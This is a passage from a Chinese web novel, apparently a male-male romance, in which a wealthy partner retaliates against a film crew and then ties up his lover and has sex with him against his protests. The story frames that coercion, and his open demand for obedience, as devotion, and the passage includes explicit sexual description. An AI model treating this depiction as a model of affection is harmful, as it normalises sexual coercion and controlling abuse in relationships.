“不过小道消息传,导演好像又找到了新的投资人,那位比二公子大方多了,导演今晚还跟他去吃饭了,也不知道是真的假的。” 江时万万想不到,他就发个烧的功夫竟然发生了这么多事。“啊?那怎么办?” “还能怎么办,等着呗。” 这一等,又过了两天,导演亲自给刘和平打了个电话。 “听说江时发烧感冒了,既然生病了,就在家好好休息,这样吧,我给你们放一个星期的假,慢慢来,不着急。” 江时不在,不代表剧组没开工。 在冬和春的交界点,天气还是冷,风把搭起的帐篷吹得猎猎作响。 男人下了车。 程野狭长冷冽的眼眸收敛,望着这个搭建起来的场地。 他一身西装,肩宽腿长,站姿挺拔,袖口上别着的蓝宝石闪烁着微光。 不少人朝这边看过来。 男人抬了抬下巴,“走吧。” 导演引着人坐下。 程野靠在椅子上,那双漆黑的眼眸带着股无形的压迫感,“别拘谨,我就是来看看,你们该干嘛就干嘛。” 导演拿不准他要干什么,刚开始签合同时他以为对方要往剧组里塞人,可是等了几天,也没见他有所动作。当时说要来看他拍戏他以为是句客套话,没想到今天却真的来了。 身边的男人解开袖口的扣子,双手交叠,眼神落在拍摄场地里,好像真的就是单纯来的观摩。 难道是瞧上了剧里的谁? 导演拿着本子心里盘算了半天也没盘出个结果,只能先开始拍摄。 场景布置了一半,程野朝他偏了偏脑袋,“导演,这拍的是哪场戏?” 导演道:“贵公司的一个演员因为意外淋了点冷水,得了个小感冒,我让他回去先休息,就把后面的戏份往前提了提,现在拍的是男女主第一次见面的场景。” 程野笑了声,“好不容易来一趟,就让我看这个?” 导演懵了一瞬,“那你看……” “后面不是有一场英雄救美的戏份吗,我比较感兴趣,拍那个吧。” “倒是有这个戏份,只是……” 导演抬头看了眼天,今天温度才几度,甚至比江时泡水那天还要低上一点。 那场戏是女主落水男主去救她的戏,他本来是想等天气暖和点再拍的,但现在程野却主动提出来…… 程野目光淡淡瞥过来,“怎么,不行吗?” 导演被他发冷的眼神看得颤了颤,“行,怎么不行呢。”他朝身后的人道:“你去通知还在化妆的男女主,说戏份改了,把那场戏往前提。” 于是拍摄地点改成户外泳池。 等了半小时,周莹和怀章终于化好妆。 户外泳池那么多水,自然不可能换成温的,用手触了触水的温度,周莹脸都白了,“导演,这也太冷了吧。” 周莹虽然不是什么大咖,但背靠传娱,导演多少还是有点不敢得罪她。但他也不敢得罪程野,只能朝他看去,“这……” 程野脸上没什么表情,“看我干什么,身为演员,连这点苦都吃不了,那我只能考虑换人了。” 联想到之前的事,导演到现在才明白,这位爷究竟是来干嘛的。 几度的水,一下去,周莹的脸瞬间就冻白了。 一同下水的还有怀章,他抱着周莹从水池里爬出来,听见导演喊了身“咔”,然后坐他身边的男人慢悠悠道:“女主的头发挡住脸了,不好看,再拍一条吧。” 导演说:“怀章,周莹,再来一条吧,辛苦两位了。” 怀章的脸瞬间难看起来。 他朝导演身边看去,高大矜贵的男人理了理衣袖,朝他投过来的目光很冷淡。 按照以往他还能发发脾气,可现在传娱的二公子不理他,他连发生了什么都不知道,一股莫名的恐惧笼罩在怀章身上,现在又换了个投资人,他不敢轻举妄动。 他忍着气又拍了一条。 “看着还是不太对……” 又一条。 “情绪不够……” “我还是觉得不行……” …… 反反复复不知道多少次后,怀章终于忍不住了。 他浑身湿漉漉,嘴唇冻得发紫。 “导演,究竟要拍多少次你才满意?” 他问的导演,眼神却看着旁边的程野。 程野抬手看了眼手腕上的表,高高在上,不咸不淡地。 “还差十五分钟。” 第95章 阿嚏—— 江时打了个响亮的喷嚏。 他最近几天总是断断续续的咳,吃了药也不见好。一生病,整个人蔫蔫的,一上称,又减了几斤。 但他自己倒没什么感觉,该干嘛就干嘛。前段时间因为拍戏,他把游戏都戒了,放假这两天出了个新活动,顿时玩得有些上头。 程野这两天不知道在忙什么,人也不怎么在家,江时一觉睡到大中午,醒来时阿姨刚好把饭菜做好。 阿姨不怎么上门,只有程野忙到没时间做饭的时候她才会来。一看到阿姨,江时就知道程野肯定不在了。 他坐下,随口问了句,“程野人呢?” 因为他感冒了,阿姨做的都是些清淡的菜。她把最后一个菜端上桌,伸手在围裙上擦了擦,“一大早就出去了,他还跟我说,要是到点你没醒就去敲门喊你,没想到江先生醒得真及时。” 江时以为他去上班了,自己一个人吃完没什么滋味的一顿饭。 刘和平给他发消息。 【崽啊,你就是身体不好才感冒的,想你哥当年,零下十多度还去冬泳,那身体素质杠杠的。我之前不是给你报了个健身课吗,刚好这段时间放假,你去锻炼锻炼。】 江时看完了,自动屏蔽他的消息,但隔了没两分钟,程野的电话就打进来了。 阿姨在洗碗,江时摊在沙发上。 程野问他:“吃完饭了?” “刚吃好。” 对方跟在他身上安了眼睛一样,“起来动动,别躺着。” 江时动都没动一下,“正在溜达着呢。” 程野:“……” 他说:“我在回来的路上,我会检查你手机上的步数,要是低于两千你猜会怎么样?” 能怎么样?程野还能把他吃了不成? 江时摊了一分钟,最后还是拿着手机爬起来了。 阿姨从厨房里探出脑袋,“江先生,要上楼休息了吗?” 江时甩着手机,“不,我溜达溜达。” 外面刮着冷风,他不想出去受罪,就在楼下的客厅里转圈,转着转着去了二楼露台的阳光花房。 花是程野养的,很多都是程野不知道从野外哪里薅来的苗,都是些常见的品种,长在路边也没人看一眼,和一堆植物挤在一起,活得像野草。 养它们不需要费多少精力,给点阳光,给点水,便开得郁郁葱葱。 下午风停,雨落了下来,花房头顶的玻璃被砸得噼啪响。 程野踩着雨点回了家。 他肩上落着潮湿雨水,裹挟着冬末的寒冷,冷冽的味道刚接触到屋里的温度时便消散了个干净。 阿姨收拾完了正准备走,看见他问了个好,“程先生。” 程野在客厅里扫了圈,“江时呢?” “江先生在客厅里溜达了几圈,然后上楼了。” 他解开手腕上的扣子,“回去吧,晚上不用来了。” 门口响起阿姨走时关门的声音,程野上了楼。 卧室没找到人,他转身去了花房。 雨下得更大了,玻璃上全是水,外面雾蒙蒙一片,山和山的界定模糊成晕开的水墨画。 青年蹲在花房里,宽松的睡衣挂在他有些清瘦的身躯上,肩胛骨突出,肩膀微微往上耸,双手抱着腿,曲着身体,胸膛贴着膝盖,将自己折叠在一起。 长发从他耳鬓滑落,睫毛安静垂下,鼻尖痣映着光,宛如跳动的烛火。 空气里雨水的潮湿混合着花香送到程野鼻子里,他伸手扯开脖子上束缚得规规矩矩的领带。 高大身躯笼罩在江时背后,然后是低沉的声音,“在看什么?” 江时被吓了一跳,抬头看才发现是程野回来了。 他挪了挪有些发麻的双腿,“在看蚂蚁搬家。” 小小的花园里,有着自己的生态系统。 程野把他从地上拉起来,手掌隔着睡衣贴在腰上,很不规矩地捏了下,没捏到什么肉,眉头皱了起来。 江时靠在他怀里,没闻到以往干燥的味道,而是一股香水味。 他扭头回去,才发现程野穿了身整齐的西装,贴合身体的布料将他人衬得更加英俊挺拔,几年的沉淀,他身上那股乡下来的土气早就没有了,快一米九的身高导致他看人时都是低垂着眼睛,眼眸漆黑,带着点上位者的冷淡和威严。 上位者很不老实地捏了把江时的屁股,“手机呢,我看看有没有两千步。” 看了半天蚂蚁搬家的江时:“……” 程野弯腰捞起被他丢在一边的手机,上面的步数别说两千,一千都还差点。 “偷懒了。” 江时张嘴想狡辩,奈何程野压根不听,捞着他就去了旁边卧室。 窗外雨雾朦胧,乌桕的枝干在空中舒展,枝头挂着的果子如同漫天的星,随着风雨摇摆,沉默着看着屋里。 江时屁股一挨到床就直觉不妙,他往后躲,枕头当作护盾挡在身前,“你干嘛,光天化日的。” 程野站在床头,看他衣服敞开半边,露出一截胸膛。 他道:“过来,给你看个好东西。” 程野给的能是什么好东西? 这回还真是好东西。视频里,男人语调漫不经心地,却让两名年轻的演员一次又一次地下水,衣服和头发贴在身上,嘴唇是口红也掩盖不了的青紫,和那天他泡在浴缸里的样子莫名重合。 江时愣怔了好一会才回神,再开口时声音发哑,“你怎么……” 衣服湿了,总会露出些身材曲线,程野关了手机,看了一遍就不愿意给江时看。 “比起我向你解释,江时,你不觉得你应该要向我说些什么吗?” 这是兴师问罪来了。 江时缩了缩脚,“我跟你解释什么,这有什么好解释的?再说了,一点小事也要跟你说吗?” “一点小事?”程野道:“你生病了我衣不解带的照顾你,已经连着好几天没去上班,公司里堆积了好几个大项目,那你说造成的损失怎么算?” 这么一说,江时顿时不开心,把手里的枕头往他身上砸。 “你什么意思程野?意思是我挡着你赚钱了呗?我让你照顾了吗?你这么会赚干脆别回来了,出去赚你的钱去。” 程野抬手接住枕头,脸上没什么表情,“我跟你谈感情你和我说事实,我跟你讲事实你和我讲感情。江时,账是你这么算的?” 情绪一激动,江时没忍住咳了好几声,发丝凌乱地散在脸上,黑衬着白,唇色浅淡。 他感到很委屈,“我都这样了,你还这样对我,程野你有没有心?” 程野弯下腰,伸手捏着他的下巴端详,“是挺可怜,但你这样跟我有什么关系?是我造成的么?” 这还是江时第一次被他这么对待,那双眼睛看起来冷冷的,连捏着他脸的手都失去了温度。 “程野你……” 程野垂在身侧的手攥得骨头都被挤压出声响,但他脸上依旧没什么表情,“小少爷只会窝里横?在外面受了欺负忍气吞声,回到家里对着我发火,我看着很像你的出气筒?” 江时颤了颤,对着他的目光,忽然一下不知道该说什么,“我不是……” “不是什么?不是受欺负了?还是不是没对我发火?” 江时一巴掌打掉捏着他脸的手,别过头没说话。 程野甩了下手,明明没用什么力,青年白嫩的下巴还是印了两个指印。 他碾了碾指尖,“说话,江时。” 江时一个字也不说,低着头,只留给程野一个倔强的后脖颈。 行…… 程野把领口扯松的领带彻底从脖子上拽下来。他欺身上床,捞过江时的双手背在他身后,上等材质的领带束缚在素白的手腕上,摩擦间,手腕晕开一层淡粉。 江时终于肯看他了,他动了动手,领带捆得不紧,但完全挣扎不开。 “你干什么?” 男人穿戴整齐地跪在他身后,雪色的臀肉贴在挺括的布料上,他被冰得缩了缩。 裤子没了还不够,程野伸着两只修长的手指,解开江时睡衣的扣子,衣服滑落挂在他被绑着的手肘间,风景半隐半现。 “小少爷……”程野声音淡淡的,“我帮你出了口气,怎么也得收点报酬吧?” 他语气和表情都很冷淡,和平时在江时跟前完全不一样,江时一边感到委屈,一边又有点害怕。 “谁让你帮我了,你给我滚程野!” 很快他就说不出话来了。 窗外乌桕依旧沉默,枝桠挂着的果实随着雨水轻晃,在昏暗的天幕里露着白,宛如盛开的梅。 江时整个人贴在飘窗前,手被束缚住,半截胸膛压在玻璃上。前面是冰冷的玻璃,后面是衣冠楚楚的程野,只有内里,搅得他泛滥成灾。 程野连颗衣服扣子都没解开,面容冷静自持,和他相比,江时整个人看起来格外狼狈。 矜贵的小少爷闭着眼不愿意往后看,牙齿死死咬住唇,连丝声音也不愿意露出来。 程野便伸手开了灯。 外面光线昏暗,灯光反光,照出江时的脸。 程野伸着手指扣开他的唇,逼着他发出声音,“叫出来,我听着。” 挂在江时眼尾的泪最终还是落了下来,声音断断续续,“程野……我讨厌你……” 程野不说话,只是一个劲弄他。 江时整个贴在玻璃上,稍一抬眼,就看见站在他身后穿戴整齐的程野。 男人高高在上的,脸上不带任何情绪,看向他时也只是淡淡垂着眼。 江时受不了他这个眼神,挣扎得更厉害,“你走开,我不要跟你好了,你凭什么这么对我,你就是个王八蛋!” 程野伸手捂着他的嘴,“在我跟前倒是叫得欢,别人欺负你怎么不见你说一个字?回到家连状也不会告,吃了亏就往肚子里咽,小少爷真是好气量。” 江时气得张嘴咬住他的手。 程野不动,眉目间爬上一丝阴郁,“这就受不了?被人压在浴缸里的时候怎么不见你受不了?还是说你只会窝里横?” 手上的被咬的力道越来越大,渐渐地见了血。 两人较着劲,谁都不松口。 铁锈味在江时嘴里漫延,几天来积攒的委屈终于爆发,咬着程野的手抽噎了下。 身后传来一声很浅的叹息,程野终于还是弯下了腰。他把手从江时嘴里抽出来,细细擦掉他嘴角染上的血迹。 “你要是拿对付我的劲对付外人就好了。” 领带不知道什么时候松开了,江时伸着手去推搡程野,“我是没跟你说,你犯得着这么对我吗?程野你就是故意的,故意这么对我……” 程野压着眉,“嗯,我是故意的。” “不让你疼上那么一回,下次被欺负了还敢闭着嘴巴不出声。” 江时抬脚去踹他,“说了干什么,我只是个小演员,你每天那么忙,何必说这些不开心的来惹你厌烦。” 程野伸手抓住他的脚踝,他虎口的牙印还在渗着血,染得相贴的地方黏腻腻的。 “你的事什么时候是小事了?江时,你讲这些话是来气我的是不?” 江时咬着唇不说话。 程野便掌着他的脖子让他抬头和他对视。 “这里不是宋家,从来没人要求你乖和听话。少爷,我辛辛苦苦赚钱不是为了让你给我省心的,你觉得没有靠山,那我来当你的靠山,你觉得没有底气,那我就是你的底气。” “我不能时时刻刻都守在你身边,我希望你能保护好自己,再不济,也要学会回来跟我告状。” 而不是默不作声地把事情往肚子里咽。 他发现是能报复回去,可伤害已经造成了,再报复又有什么用? 他捧在心尖尖上的人,连句重话都舍不得说,凭什么要让别人欺负? “江时……” 程野看着他,不是恳求,也不是商量,而是通知。 “这是第一次,也是最后一次。” 第96章 江时甩手给了他一巴掌。 程野伸着舌头顶了顶腮帮子,有点火辣辣的疼,“生气了?” 江时不说话,伸手把衣服拉上。 两人身上多少带着点斑驳的痕迹,程野的西装裤晕湿了一大团,拉链敞开着,他抬手随意拉上,跪在江时跟前。 “生气打人就这点力道可不够。” 江时胸膛剧烈起伏着,背靠着冰冷的玻璃,好一会才回过神来。 两人的位置发生了个对调,变成了他在上面,程野在下面。 男人那双眼睛恢复了以往的温度,直勾勾盯着江时,声音带着点蛊惑的意味,“是不是很生气?我骂你,忽视你,甚至不顾你的意愿强迫你。江时,你胸口是不是有团火在烧,你甚至在想,我凭什么这么对……” 啪—— 一个比之前更响更狠的耳光落下。 程野偏着头,伸手摸到了血迹,他舔了下嘴角,露出一个笑来。 江时指尖都在抖,面色比以往冷了很多,“这样你就爽了?” 程野笑着说:“爽了。” 他道:“我知道我这样做不对,我也知道你很生气。你可以打我骂我,气不过了,拿刀子往我身上捅都行,但如果你下次遇到事不跟我说,还是选择忍气吞声的话,我还这样对你。” 从小的生活环境让江时习惯了这些微小的委屈,他不是不在乎,是没人在乎他,委屈讲出来显得矫情,所以他只能学会隐忍,时间久了,习惯了,好像就真的不在意了。 但再小的伤害也是伤害,再习惯,针扎在身上也会疼。 程野了解他,平时看着慢吞吞、懒洋洋的,性子比谁都倔。他是可以温声细语地哄着江时,可哄过后呢?江时不一定会听他的,以后遇到一些他觉得没必要往外说的摩擦,依旧还是下意识隐瞒。 比如王泽凯,比如怀章…… 在江时身上,程野不喜欢意外。恨也好,爱也好,他要江时不管干什么第一个想到的就是他。 他这么做,效果是有了,但很显然,在接下来的很长一段时间里,他的日子不会好过了。 这么想着,下一秒,放在飘窗上的枕头就砸在了他脸上。 “你给我滚。” 程野滚去给江时洗澡。 江时自然不乐意,两人洗澡跟打仗一样噼里啪啦的。 半小时后,江时干干净净的出来了。他脸上挂着红,一半是水蒸气熏的,一半是气的,下巴印着的两个指印痕迹淡得已经看不见。 反观程野就狼狈很多,一身西服全湿了,脸颊上印着个鲜红的巴掌印,额头不知道又被什么砸了,肿起一个包。 他自己像是没痛感,找过衣服给江时换上,怕自己湿漉漉的碰湿他,又给自己换了身。 江时这两天做过最激烈的运动就是晚上跟程野做爱,真动起手来,他哪是他的对手,对方跟摁小鸡崽一样把他摁在椅子上。 他抬脚去踹,程野就站着任他踹。打就受着,拿东西砸就接着。挨打归挨打,要做的事一件不漏,吹风机把江时的脸吹得往后仰了仰。 江时张嘴想骂人,被吹风机灌了一嘴的风。 他:“……” 程野站在他身后,指尖插进他发缝,一点点缕过他稍长的头发,温柔细致,有着对自己都没有的耐心。 虎口的牙印还在往外渗着淡红色的血,程野拿着纸巾随意擦了下,低头认真给江时吹头发。 确认每一根发丝都吹干后,他把人塞回被子里,很自觉地去屋子外面跪着了。 江时在床上翻了个身,一回头,程野直挺挺地跪在房间门口,一张俊脸惨不忍睹。 他咬着牙,抓起床头柜上的杯子,看着他的脸时还是收了点力。 杯子砸在程野脚边,碎片溅了一地。 “你以为你跪着我就会原谅你?” 程野眉头都没皱一下,“你一天不原谅我我就跪一天,一个月不原谅我我就跪一个月,你要是再不原谅,我跪一辈子都行。” 他看着江时,“你怎么对我都行,但你得听我的。” 江时搭在床上的手缩了缩,对着那双眼睛,他才发觉这么多年来,程野一直没变。 长久的相处和无条件的迁就让江时忘了,他的本质是偏执和占有。 完完全全地。 等到再回想这些事情时,江时的脑子里完全没有别人的影子,全被另一个人用另一种方式代替。 恨比爱更让人记忆深刻。 江时闭了闭眼睛。 “滚出去,我不想看见你。” 程野滚去了楼下。 他给阿姨发消息,让她来做饭。 阿姨虽然疑惑雇主为什么临时变卦,但做饭就有钱拿,她听话的来了。 一来,就看见程野跪在楼下。 阿姨被吓了一跳,走近了,看见程野满脸的伤,她又被吓了一跳。 “哎哟!程先生,你这是怎么了?怎么跪在这里,还满脸的伤?” 程野说:“我的问题,这个不重要,江时生气了,你做点好吃的给他补补。” 阿姨觉得程先生应该先补补脑子- 江时翻来覆去没睡着,气得从床上爬起来。 门口的玻璃碎片已经被程野收拾干净了,房门紧闭,他站起身,鬼鬼祟祟走到门边,趴在上面听了听,什么也没听到。 他抿着唇纠结半天,最后还是悄悄开了一条缝。 外面走廊静悄悄的,连个人的影子也看不见。 “……” 走这么干脆,一辈子都别回来了。 他关上门,回到床边找到手机联系刘和平。 【今天片场发生什么了?】 刘和平比他还懵。 【咋了?我今天一天都在公司开会呢,什么也不知道。】 江时打字。 【给你五分钟,我要知道片场的所有资料。】 刘和平:“……” 半小时后刘和平姗姗来迟。 【问了,传娱撤资,咱们公司趁机投了一笔进去。咱们跟传娱一直是死对头,新官上任三把火,这把火烧到了剧组,之前我们一直被他们打压,现在终于狠狠出了口恶气,顺道还给你报仇了。】 江时缓缓打出一个问号。 【真是这样的?】 【刚刚领导找我了,说什么你是公司的员工,受了委屈一定要跟公司说,公司一定会为你做主……说了半天连你在里面演个什么角色也不知道,甚至连名字都没记住,多半是借着你的名义为难他们。】 刘和平接着发了段很长的语音。 “其实两家公司积怨已久,之前只要是我们公司的艺人去了传娱投资的剧组多多少少都会受到些不公平的对待,但我们公司的情况你也知道,没实力,艺人自然也不敢说些什么。那些工作人员之所以这样对你,一半是因为怀章的流量,另一半就是这个原因。” “这事说起来我也有责任,其实这种情况不应该让你接这个本子的,画家这个角色虽然戏份少,但演好了还是很惊艳的,我想着戏份加起来总共也不过几天,我看着应该不会出什么事,没想到……” 他又道。 “不得不说,咱们公司这招实在阴险,报复了对手不说,还给自己留下一个护犊子的好名声。就是这样搞下来,恐怕别人要以为你是关系户了。” 江时无语了半天。 【刘哥,你就没想过万一我真的是呢?】 【怎么可能……】 刘和平回复得很快。 【你什么情况我还不了解,你要真的是,能这么多年连个好点的资源都接不到?】 【再说了,圈里的规矩一向都是演员上赶着自曝金主,哪有金主大张旗鼓地上赶着倒贴演员?】 【虽然说着是为了你,但做得太过,就不像那么回事了,仔细一想,估计都回过味来了。】 【刚刚领导找我,他让你别想太多,该干嘛就干嘛。对了,你不是一直没助理吗,上头给你派了个,估计过两天就来了。】 江时下意识往门边看,房门口依旧安安静静的。 他问刘和平。 【我们公司换的新领导是谁?】 【叫陈朗,不过据说是上面派下来的,我看他最近在招新的董事,估计等稳定了不会在这里待。至于更多的,我这个级别就不知道了。】 刘和平催促他。 【导演只给你放了七天假,这后天就到期了,别在家除了吃就是睡,多动动,也别吃太多,胖了上镜就不好看了。】 【那你给我报个班。】 刘和平以为他终于想开了,很是欣慰。 【崽,你终于下定决心要锻炼身体了?】 江时回他。 【你给我报个什么拳击、散打、武术那种,最好能一招撂倒一个快一米九的大汉。】 刘和平:“……” 这哪是想开了,这简直就是异想天开了。 阿姨在门口敲门,“江先生,可以吃晚饭了。” 江时不是很想吃,但不知道想到什么,在心底冷哼一声,甩着手出门了。 阿姨站门口等他,看向他的眼神很复杂。 江时摸了摸脸,“怎么了?干嘛这么看我?” 阿姨欲言又止,止言又欲,“江先生,我知道我只是个外人,不好意思说什么,但这感情的事,哪没有磕磕绊绊的,生活要学会包容,这人才能走长久……” 走到楼梯口,江时终于知道阿姨说这话是什么意思。 男人就这么直挺挺地跪着,跪着就真的只是跪着,什么也不看,什么也不做,双手搭在膝盖上,垂着眼睛,安静等着时间流逝。 江时顿了顿,停住脚步,下一秒,程野抬头朝他看过来。 阿姨还在劝,“你看程先生的脸都被打成什么样了,你还让他跪……” “阿姨。”程野打断她的话,“是我犯错在先,我不顾他的意愿强迫他,还逼他干他不喜欢的事,甚至还骂他,你说我活不活该?” 阿姨顿时不说话了。 江时有些头疼地按了按额角,“阿姨,你先回去吧,东西明天再来收拾。” 阿姨看了眼两人,不好再说什么,收拾一下走了。 江时居高临下地看着程野,然后无视他,自顾自地吃了晚饭。 吃完了,男人还跪着,连位置都没挪过一点。 江时站在他跟前,“你以为这样我就会心软?” 程野笑了声,“再给我次机会,我还会这样。我还是那句话,你不开心杀了我都行,但你得听我的。” 江时没忍住给了他一脚。 跪了一个下午,程野的膝盖早就麻了,江时一脚下去,他当场就踉跄着扑在地上。 下一秒,他就被江时扯着头发扬起脑袋,“所以白天穿着衣服弄我也是你计划的?” 想着下午的场景,程野只觉浑身的血气都往下涌。 “不是。”他喉结滚了滚,“我早就想这么干你了。” 他眼神直白又赤裸,丝毫不加掩饰地落在江时身上,“如果你觉得这样不公平的话,我可以脱光,你穿得整整齐齐地骑我身上。” 这么想着,程野更兴奋了,眼神比自己穿戴整齐还狂热。 “少爷要是觉得我这样是羞辱你,那你可以羞辱回来,哪怕让我戴着项圈,牵狗一样牵着我在大街上溜达我也愿意。” 江时:“……” 江时简直服了。 第97章 程野不要脸,他还要脸呢。 江时松开手朝楼上走去,走到一半,又折回身子。 他一把把程野拽起来,“我们谈谈。” 程野踉跄着跟在他身后。 走到沙发边,江时推搡着程野坐下。他坐在他旁边,像是为了掩饰心里的情绪,抬手给自己倒了杯水,指尖捏得很紧,紧到呈现出一种淡淡的白色。 “程野……”江时喝了口水,“你不觉得我们这样不正常吗?” “我不知道我正不正常,但你肯定不正常,正常情侣是没有……没有像我们这样的。” 程野听他说完。他伸手揉了揉膝盖,把上面沾染的灰尘碎屑拂下去。 “小少爷……”他笑了声,“相处这么久,我以为你应该知道我是什么样的人。” “可是程野……”江时道:“这么久了,人总该会变。我们是两个独立的个体,你总不能一直这样吧?你看你现在功成名就,当初欠我的那两万也早就还清了,你不是谁的奴隶,也不用依附谁而活……” “没有变的。” “我一直都没变,你觉得我好不是因为我变了,而是因为我会伪装。” 他低着头,那双眼睛暗沉沉的,恍惚间,江时仿佛看见了当初在溪柳村时看到的那双眼睛。 幽幽的,像狼。 狼盯住猎物,除非死了,否则永远不会松嘴。 程野眼睛里的幽光收敛,肩膀松垂下去,脸淹没在灯光的阴影里。 “我只能依附你,没了你,我就死了。” 江时捧着水杯,好一会没说话。 程野知道自己吓到了他,他抬手抹了脸,“好了,不说这个,我去给你找药,先把感冒药吃了。” 他站起身,有点不敢看江时的脸,抬脚朝前面放药的抽屉边走去。 走了一步半,身后的衣服被人伸手拽住,于是剩下的那半步停滞在半空。 江时的一双手从小到大就没干过什么重活,加上他人清瘦,十根手指细细长长的,不像竹节,倒像白玉,稍一用力就折了。 程野被这样的两根手勾着,快一米九的身躯像是被什么定住,前进不了,也不敢往后看。 江时说:“坐下,我跟你聊聊。” 程野坐回他旁边。 江时整个人曲着腿缩在沙发上,怀里抱着个枕头,旁边的香薰飘来茉莉的味道。 “我跟你说说我以前的故事吧。” “我小时候也不太聪明,我……宋博想讨好别人,于是总是想方设法地挤进个种宴会,有时候那些有钱人的小孩过生日,他就让我去讨好他们。” “我那时候哪知道讨好别人对自己来说意味着什么。宋博让我去,我想让他开心,于是就乖乖去了,他们喊我暴发户的儿子,我乖乖应了,他们叫我臭不要脸的,我还笑呵呵的,后来他们还让我扮狗,学狗叫……” 程野捏紧拳头。 江时歪头看他,见他这样,笑了声,“你看,我想讨好我爸,所以乖乖听他的话,到头来,也没见他夸过我一句。我为了我爸,去讨好那些人,可他们并没有因为我的讨好而喜欢我。” “程野,讨好和顺从是换不来爱的。” “我跟你在一起,是因为我喜欢你,而不是因为你对我百依……百……顺……” 说到这里,江时沉默了。 有总安慰了半天,最后搬起石头砸了自己脚的感觉。 程野伸手揉了把他的头,像在给一只温顺柔软的大猫顺毛,“我知道你想说什么,我会努力改的。” 江时看着他,总觉得他不会这么好说话。 似乎被他不信任的眼神给伤到了,程野缓缓叹了口气,把人抱到怀里,“在你心底我就这么没有信任度?” 江时的脚踩在他脚背上,“非常没有,一点也没有。” 程野:“……” “行吧。”程野说:“实在不行你带我去看心理医生,什么催眠、电击都用上,说不定就给治好了。” 江时狠狠踩了他一下。 程野眼神变都没变一下,他半垂着眼,声音淡淡的,“你不喜欢,你说改我一定会改。” “少爷总要给我点时间。” 江时盯着他,只在他脸上看到了“老实”两个字。 老实这两个无论怎么写,在程野这里,前面总要跟个“不”字。 “那你下次还这样对我吗?” “不会了,我会先劝你,如果你不听劝,我再考虑别的方法。” 江时:“……” 算了,能改就行。他也跟着反思一下自己,“我也有错,我也不应该那样对你。” 他们是情侣,他不能总把自己的情绪发泄在程野身上。 “不用。”程野把头埋在他肩颈,“我喜欢你那样对我。” 爱也好、恨也好、打也好、骂也好……他能感受到、听到、碰到。 江时越是骄纵,他就越是安心。只有这样,江时才会永远需要他,被需要,就不会被丢弃。 爱会消失,但刻到骨子里上瘾的习惯不会。 江时看不见他的脸,只能感受到他扎得皮肤生疼的脑袋一个劲在他身上拱,时不时还要被舔两口,跟狗一样。 他伸手去推,没推开,“程野你够了,不是我说,你是不是有那啥……” “哪啥?” “那啥s啥m的?” 程野笑了声,“那你就当我有。” 顿了两秒,他道:“主人,要来管教我吗?” 江时:“……” 江时甩了甩手,笑了声,“好啊,那听主人的话吗?” 程野没想到他会这么说,呼吸一下子就重了,他把脑袋拔出来,盯着江时,“真的?” 青年的眼尾在灯光下挑出一个魅惑的弧度。 “当然是真的。”他把脸凑近程野,往他喉结吹了口气,“要听主人的话吗?” 程野受到蛊惑一样点头。 江时撑着他的肩膀站起来,“那好,主人现在就命令你,从今天起,睡一个月的客房。” 程野:“??” “不是……”他站起来,“怎么能……” 江时倏地一下冷了脸,“怎么,主人的话你不听了?” 程野:“……”- 客房睡了还没两天,江时要回剧组接着拍戏。 刘和平当初说的那个新助理也到了。 保姆车停在路边,刘和平在前面开车,后面的两个人大眼瞪小眼。 江时往左看,“大表弟啊……” 高新和往又看,“小表哥啊……” “……” 两人相顾无言。 刘和平笑呵呵地,“你们是亲戚啊,那还真是有缘,这小伙子是原本公司招的实习生,公司看他还算细心,就派过来给你当助理了。” 江时才不信巧合,高新和一个在盆地里学物流管理的怎么会跑来江城实习,还好巧不巧的成了他的助理? 刘和平还在这里,江时不好开口,拿出手机给高新和发消息。 【你怎么会在这里?】 高新和比他还懵。 【我靠!我也不知道啊。】 【那你又是怎么来这里实习的?】 【害!你也知道我那个破专业,当初实习的时候找不到合适的工作,程哥跟我说有个地方招人,他问我要不要去,要是我干得好了,以后还给我转正交五险一金。那我一听,马不停蹄地就报名了。】 【我一开始以为是他念着兄弟的情分,让我去他公司上班呢,结果一看,是什么艺人实习助理,我搁里面培训了好久。】 【原本还要上课的,后面培训的人说我表现还可以,提前给我转正。】 【我听从公司安排,就来到这里了。】 江时看着手机上这一长串字,有些发愣。 原来程野一直都知道。 刘和平在前面道:“新和啊,我们家江时脾气不好,还挑剔,你照顾他多上点心啊。” 高新和拍着胸脯,“你放心吧,我比你还清楚他。除了程哥,没人比我更会照顾我小表哥了。” 毕竟是熟人,他这么一说,刘和平顿时就放心了。 在放心的同时,心底又涌起淡淡的疑惑。 真有这么凑巧的事吗?江时刚被欺负,几天不到就有人给他出了气,刚要助理,他表弟就来了。 但还没等他想透,剧组到了。 这回,江时能明显感受到剧组里其他人看他的眼神不太一样,有好奇、有打量,但一跟他对上目光,顿时就害怕得缩回去。 最明显的变化是大家都变得很怕他,又怕又恭敬,生怕一个不小心得罪了他。 刘和平感叹,“原来这就是有背景的待遇啊,爽是爽,但莫名有点不得劲,见着我们跟见洪水猛兽似的。” 正闭着眼睛靠在椅子上假寐的江时闻言眼睫颤了颤。 刘和平又接着说:“反正你也拍不了几场戏,忍忍两天就行。我跟你讲,之前那个女主回去发了场高烧,然后就不拍了,又重新选了个女主,就是不知道新女主怎么样?” 江时对其他人都不感兴趣。 剧组里没人敢为难江时,都先紧着他的戏份拍,没几天就拍好了。 程野也如当初跟他承诺的那样会改,江时在他身上没看到有时候若隐若现的那股疯劲,他的事业在稳步上升,程野的公司也越来越好,一切都在朝着好的方向发展。 三年,足够窗外乌桕长到叶子几乎把整个窗户都遮盖住。 三年,足够程野爬到更高的位置,也足够一个身体强健的中年妇女变苍老。 江时不止一次跟江雪提议搬来江城跟他们一起住,但江雪舍不得溪柳村,舍不得她的地,说什么也不来。 但随着时间流逝,也不知道是她想开了还是什么,她终于同意了。 江时推了这两天的工作,打算回去接她。 票才刚买到,张池给他打了个电话。 “江大明星,重大消息,霍寂回国了。” 听到这个名字时,江时恍惚了好久才想起这个人。 张池道:“你先别慌,你知道他这才回来是干嘛吗?” “结婚。” “霍寂要结婚了。” 第98章 江时愣了好几秒才回神。 他把手机开免提放在桌子上,接着收拾东西,“结就结吧,他已经跟我没什么关系了。” 张池说:“也不知道哪个女生这么倒霉嫁给他,这货不是个同性恋吗?就这么结婚了,恶不恶心?” “恶心你有什么办法?你跑婚礼上说他是同性恋?且不说霍家怎么样,你爸能当场打断你的腿。” 而且以霍寂的家世,结婚是必然的,只是可怜了那个不知道有没有知道真相的女孩。 想到这里,江时觉得有些反胃。 他挂了电话,做好伪装后才动身前去溪柳村。 程野忙得走不开,高新和陪他一块去。 